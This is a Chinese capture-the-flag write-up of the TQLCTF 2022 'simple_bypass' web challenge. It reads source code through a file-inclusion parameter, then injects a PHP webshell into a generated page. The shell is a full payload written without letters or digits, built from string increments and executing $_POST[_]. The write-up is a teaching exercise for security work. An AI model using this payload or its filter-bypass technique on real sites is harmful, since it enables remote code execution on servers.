[TQLCTF 2022]simple_bypass

---

涉及知识点

1. 无数字字母RCE
2. 自增马构造
3. 文件包含读取源码

解题过程

打开题目，随便注册一个用户为admin
登陆进去后，一眼发现杰哥图片有线索
我们F12看一下如何请求的
在这里发现可能存在文件包含漏洞

我们尝试读取下源码

./get_pic.php?image=index.php

然后base64解码一下，直接看核心部分

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){$hash_user = md5($_POST['user']);$hash_pass = 'zsf'.md5($_POST['pass']);if(isset($_POST['punctuation'])){//filterif (strlen($_POST['user']) > 6){echo("<script>alert('Username is too long!');</script>");}elseif(strlen($_POST['website']) > 25){echo("<script>alert('Website is too long!');</script>");}elseif(strlen($_POST['punctuation']) > 1000){echo("<script>alert('Punctuation is too long!');</script>");}else{if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);$template = file_get_contents('./template.html');$content = str_replace("__USER__", $_POST['user'], $template);$content = str_replace("__PASS__", $hash_pass, $content);$content = str_replace("__WEBSITE__", $_POST['website'], $content);$content = str_replace("__PUNC__", $_POST['punctuation'], $content);file_put_contents('sandbox/'.$hash_user.'.php', $content);echo("<script>alert('Successed!');</script>");}else{echo("<script>alert('Invalid chars in website!');</script>");}}else{echo("<script>alert('Invalid chars in username!');</script>");}}}else{setcookie("user", $_POST['user'], time()+3600);setcookie("pass", $hash_pass, time()+3600);Header("Location:sandbox/$hash_user.php");}
}
?>

在这里可以看到user，website都做了严格的过滤并且限制输入长度
但是观察到strlen($_POST['punctuation']) > 1000，猜测这是利用的突破口
观察到是无字母数字RCE，那么大概思路就是自增构造

我们再读取一下源码中的./template.html
解码完发现很长，这里只展示有用的部分

<div id="start_block"> <a title="开始" id="start_btn"></a><div id="start_item"><ul class="item admin"><li><span class="adminImg"></span><?phperror_reporting(0);$user = ((string)__USER__);$pass = ((string)__PASS__);if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){echo($_COOKIE['user']);`}else{die("<script>alert('Permission denied!');</script>");}?></li></ul><ul class="item"><li><span class="sitting_btn"></span>系统设置</li><li><span class="help_btn"></span>使用指南 <b></b></li><li><span class="about_btn"></span>关于我们</li><li><span class="logout_btn"></span>退出系统</li></ul></div></div>
</div>
<a href="#" class="powered_by">__PUNC__</a>

分析一下，(string)__USER__会将__USER__强转成string类型。
然后利用点已经知道是无数字字母RCE，<?php被禁了，那么只能利用代码前面自带的<?php去shell
我们选择可以利用注释符注释，然后用);闭合回去，__PUNC__写exp再把下面的注释掉。
具体执行如下

__PUNC__的exp

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

所以我们注册

//注册页面
user:a/*
passwd:a
website:a
punctuation:*/);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/*//这个自增代表的是eval(@_POST[_]);

注册成功后，命令执行一下
回显在页面源代码最下面找到（报错无关紧要）

得到flag